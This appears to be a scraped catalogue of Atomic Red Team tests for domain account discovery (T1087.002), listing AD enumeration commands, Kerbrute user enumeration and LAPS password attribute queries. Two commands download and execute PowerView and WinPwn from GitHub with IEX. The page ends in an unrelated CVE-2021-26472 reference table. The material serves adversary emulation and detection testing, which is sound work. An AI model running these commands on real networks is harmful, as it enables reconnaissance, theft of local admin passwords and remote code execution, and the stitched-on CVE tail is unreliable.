Adfind - Enumerate Active Directory Exchange AD Objects
Windows
CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Exchange Objects
reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
T1087.002
Adfind - Enumerate Active Directory User Objects
Windows
CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory User Objects
reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
T1087.002
Adfind -Listing password policy
Windows
CMD
Adfind tool can be used for reconnaissance in an Active directory environment. The example chosen illustrates adfind used to query the local password policy.
reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
T1087.002
Automated AD Recon (ADRecon)
Windows
PowerShell
ADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its
path will be displayed.
Command (PowerShell)
Invoke-Expression "#{adrecon_path}"
T1087.002
Enumerate Active Directory Users with ADSISearcher
Windows
PowerShell
The following Atomic test will utilize ADSISearcher to enumerate users within Active Directory.
Upon successful execution a listing of users will output with their paths in AD.
Reference:...
Command (PowerShell)
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
T1087.002
Enumerate Active Directory for Unconstrained Delegation
Windows
PowerShell
Attackers may attempt to query for computer objects with the UserAccountControl property
'TRUSTED_FOR_DELEGATION' (0x80000;524288) set
More Information -...
Command (PowerShell)
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
T1087.002
Enumerate Default Domain Admin Details (Domain)
Windows
CMD
This test will enumerate the details of the built-in domain admin account
Command (CMD)
net user administrator /domain
T1087.002
Enumerate Linked Policies In ADSISearcher Discovery
Windows
PowerShell
The following Atomic test will utilize ADSISearcher to enumerate organizational unit within Active Directory.
Upon successful execution a listing of users will output with their paths in AD.
Reference:...
Command (PowerShell)
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002
Enumerate Root Domain linked policies Discovery
Windows
PowerShell
The following Atomic test will utilize ADSISearcher to enumerate root domain unit within Active Directory.
Upon successful execution a listing of users will output with their paths in AD.
Reference:...
Command (PowerShell)
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002
Enumerate all accounts (Domain)
Windows
CMD
Enumerate all accounts
Upon exection, multiple enumeration commands will be run and their output displayed in the PowerShell session
Command (CMD)
net user /domain
net group /domain
T1087.002
Enumerate all accounts via PowerShell (Domain)
Windows
PowerShell
Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed.
Command (PowerShell)
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
T1087.002
Enumerate logged on users via CMD (Domain)
Windows
CMD
Enumerate logged on users. Upon exeuction, logged on users will be displayed.
Command (CMD)
query user /SERVER:#{computer_name}
T1087.002
Get-DomainUser with PowerView
Windows
PowerShell
Utilizing PowerView, run Get-DomainUser to identify the domain users. Upon execution, Users within the domain will be listed.
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
T1087.002
Kerbrute - userenum
Windows
PowerShell
Enumerates active directory usernames using the userenum function of Kerbrute
Command (PowerShell)
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
T1087.002
Suspicious LAPS Attributes Query with Get-ADComputer all properties
Windows
PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-ADComputer #{hostname} -Properties *
T1087.002
Suspicious LAPS Attributes Query with Get-ADComputer all properties and SearchScope
Windows
PowerShell
This test executes LDAP query using powershell command Get-ADComputer with SearchScope as subtree and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
T1087.002
Suspicious LAPS Attributes Query with Get-ADComputer ms-Mcs-AdmPwd property
Windows
PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002
Suspicious LAPS Attributes Query with adfind all properties
Windows
PowerShell
This test executes LDAP query using adfind command and lists all the attributes including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
T1087.002
Suspicious LAPS Attributes Query with adfind ms-Mcs-AdmPwd
Windows
PowerShell
This test executes LDAP query using adfind command and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002
Wevtutil - Discover NTLM Users Remote
Windows
PowerShell
This test discovers users who have authenticated against a Domain Controller via NTLM.
This is done remotely via wmic and captures the event code 4776 from the domain controller and stores the ouput in C:\temp. [Reference](https://www.reliaquest.com/blog/socgholish-fakeupdates/)
Command (PowerShell)
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
T1087.002
WinPwn - generaldomaininfo
Windows
PowerShell
Gathers general domain information using the generaldomaininfo function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutputDetection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-26472 |
| csirt.divd.nl |
GitHub CVE
x_refsource_CONFIRM
|
https://csirt.divd.nl/cases/DIVD-2020-00011/ |
| csirt.divd.nl |
GitHub CVE
x_refsource_CONFIRM
|
https://csirt.divd.nl/2021/05/11/Vembu-zero-days/ |
| wbsec.nl |
GitHub CVE
x_refsource_CONFIRM
|
https://www.wbsec.nl/vembu |
| csirt.divd.nl |
GitHub CVE
x_refsource_CONFIRM
|
https://csirt.divd.nl/cves/CVE-2021-26472/ |